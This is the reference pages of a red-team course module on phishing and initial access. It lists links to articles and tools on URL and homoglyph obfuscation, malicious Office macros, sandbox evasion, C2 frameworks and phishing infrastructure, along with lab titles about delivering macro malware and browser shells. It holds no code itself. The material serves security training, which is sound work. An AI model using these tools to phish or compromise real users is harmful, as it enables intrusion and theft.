https://gist.github.com/anonymous/950a70cdebd3e78b6e88312fa7d93250

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.370


References
Redirector using Data URI
https://gist.github.com/anonymous/907cc8e9dcc43c6a4412e682e5d5c2cd

HTML Encrypter
http://www.webtoolhub.com/tn561359-html-encrypter.aspx

Javascript Obfuscator
http://javascriptobfuscator.com/

AES Javascript
https://gist.github.com/ianpurton/1122562

aes_js_encrypt.html
https://gist.github.com/anonymous/315be2adc72603005d7c7b176c163ed7

aes_js_decrypt.html
https://gist.github.com/anonymous/e749f1b8fcbdb08b9d709eb1df8b9575

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.371


References
Rotten Apples: Apple-like Malicious Phishing Domains
https://www.fireeye.com/blog/threat-research/2016/06/rotten_apples_apple.html

Dotless IP addresses and URL Obfuscation


https://web.archive.org/web/20140702141151/http:/morph3us.org/blog/index.php?/archives/35-
Dotless-IP-addresses-and-URL-Obfuscation.html
Out of Character: Use of Punycode and Homoglyph Attacks to Obfuscate URLs
for Phishing
http://www.irongeek.com/i.php?page=security/out-of-character-use-of-punycode-and-homoglyph-
attacks-to-obfuscate-urls-for-phishing

How to Obscure Any URL


http://www.pc-help.org/obscure.htm#how

Bypassing the patch to continue spoofing the address bar and the Malware
Warning (IE)
https://www.brokenbrowser.com/bypass-the-patch-to-keep-spoofing-the-address-bar-with-the-malware-
warning/
Unicode Domains are bad
https://www.vgrsec.com/post20170219.html
Click HERE to return to Slide 203 PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.372
References
Phishing with Unicode Domains
https://www.xudongz.com/blog/2017/idn-phishing/

Contact Form Manager plugin


https://github.com/wp-plugins/contact-form-manager/archive/1.4.1.zip

Cross-Site Request Forgery & Cross-Site Scripting in Contact Form Manager WordPress Plugin
https://sumofpwn.nl/advisory/2016/cross_site_request_forgery___cross_site_scripting_in_contact_form
_manager_wordpress_plugin.html

Javascript: From parent to iframe to steal the autocompleted password field


https://gist.github.com/anonymous/1b369a11090f1991d88356578fc58b61

Phishing On the Inside


http://www.xorrior.com/phishing-on-the-inside/

Apache Module mod_rewrite


http://httpd.apache.org/docs/current/mod/mod_rewrite.html
Click HERE to return to Slide 203 PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.373
References
JavaScript: OS Detection
http://www.javascripter.net/faq/operatin.htm

Macro Based Anti-Analysis


https://cofense.com/macro-based-anti-analysis/

Pafish Macro
https://github.com/joesecurity/pafishmacro

Abusing the SYLK file format


https://outflank.nl/blog/2019/10/30/abusing-the-sylk-file-format/

Will it blend? This is the Question, new Macro based Evasions spotted
https://www.joesecurity.org/blog/4978232240698722172

Am I in a VM? – The tale of a targeted Phish


https://web.archive.org/web/20161023162702/https://labs.bromium.com/2016/05/25/am-i-in-a-vm-
the-tale-of-a-targeted-phish/
Click HERE to return to slide 244. PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.374
References
Chameleon
https://github.com/mdsecactivebreach/Chameleon

ExpiredDomains
https://expireddomains.net/

Virustotal
https://www.virustotal.com/gui/home/url

Bluecoat
https://sitereview.bluecoat.com/#/

DomainHunter
https://github.com/threatexpress/domainhunter

DNSChecker
https://dnschecker.org/
Click HERE to return to slide 248. PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.375
References
GoPhish
https://getgophish.com

Phishing Frenzy
https://www.phishingfrenzy.com/

King Phisher
https://github.com/securestate/king-phisher

The Social-Engineer Toolkit


https://www.trustedsec.com/tools/the-social-engineer-toolkit-set/

Postfix-Server-Setup
https://github.com/adoreste/Postfix-Server-Setup

MX Toolbox
https://mxtoolbox.com

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.376


References
Mail-Tester
https://mail-tester.com

autossh
https://linux.die.net/man/1/autossh

cat-sites
https://github.com/audrummer15/cat-sites

NGINXConfig
https://nginxconfig.io/

Module ngx_http_proxy_module
http://nginx.org/en/docs/http/ngx_http_proxy_module.html

OpenSSH server
https://infosec.mozilla.org/guidelines/openssh.html

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.377


References
RedElk
https://github.com/outflanknl/RedELK

Muraena
https://conference.hitb.org/hitbsecconf2019ams/materials/D2T1%20-%20Muraena%20-
%20The%20Unexpected%20Phish%20-%20Michele%20Orru%20&%20Giuseppe%20Trotta.pdf

reverseshell.xml
https://github.com/giMini/PowerMemory/blob/master/RWMC/misc/reverseshell.xml

SILENTTRINITY Actions
https://github.com/byt3bl33d3r/SILENTTRINITY/actions

Seatbelt
https://github.com/GhostPack/Seatbelt

GhostPack
https://github.com/GhostPack

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.378


References
Seatbelt arguments
https://github.com/GhostPack/Seatbelt/blob/master/README.md

install .Net core Linux


https://dotnet.microsoft.com/download/linux-package-manager/debian10/sdk-current

Covenant
https://github.com/cobbr/Covenant

DotNetToJScript
https://github.com/tyranid/DotNetToJScript

SharpSploit
https://github.com/cobbr/SharpSploit

Rubeus
https://github.com/GhostPack/Rubeus

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.379


References
Working with Excel 4.0 macros
https://support.office.com/en-us/article/working-with-excel-4-0-macros-ba8924d4-e157-4bb2-8d76-
2c07ff02e0b8

Component Object Model (COM)


https://en.wikipedia.org/wiki/Component_Object_Model

What is Protected View?


https://support.office.com/en-us/article/what-is-protected-view-d6f09ac7-e6b9-4495-8e43-
2bbcdbcb6653

Shellcode_to_sylk
https://github.com/outflanknl/Scripts/blob/master/shellcode_to_sylk.py

SharpShooter / excel4.py
https://github.com/mdsecactivebreach/SharpShooter/blob/master/modules/excel4.py

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.380


References
NtQueryInformationProcess function
https://docs.microsoft.com/en-us/windows/desktop/api/winternl/nf-winternl-
ntqueryinformationprocess

WriteProcessMemory function
https://docs.microsoft.com/en-us/windows/desktop/api/memoryapi/nf-memoryapi-
writeprocessmemory

Spoofing-Office-Macro
https://github.com/christophetd/spoofing-office-macro/blob/master/macro.vba

EvilClippy
https://github.com/outflanknl/EvilClippy

Mono
https://www.mono-project.com/docs/about-mono/languages/csharp/

Get & Transform in Excel


https://support.office.com/en-us/article/get-transform-in-excel-881c63c6-37c5-4ca2-b616-
59e18d75b4de
PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.381
References
Responder
https://github.com/lgandx/Responder

Impacket’s smbserver
https://github.com/SecureAuthCorp/impacket/blob/master/examples/smbserver.py

MaliciousMacroGenerator
https://github.com/Mr-Un1k0d3r/MaliciousMacroGenerator/tree/master

Old school: Evil Excel 4.0 macros (XLM)


https://outflank.nl/blog/2018/10/06/old-school-evil-excel-4-0-macros-xlm/

Building an Office macro to spoof parent processes and command line


arguments
https://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/

Phishing for “Access”


https://medium.com/rvrsh3ll/phishing-for-access-554105b0901e

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.382


Videos & Labs
Here’s a list of all videos and labs in this module. To ACCESS, go to the
course in your members area and click the resources drop-down in the
appropriate module line. Please note that videos and labs are only available
in Full and Elite Editions.

Delivering a Triggerable Outlook Malware via Macros

Custom Macro Development

Establishing a Shell Through the Victim’s Browser

PTXv2: Section 1, Module 1 - Caendra Inc. © 2020 | p.383

You might also like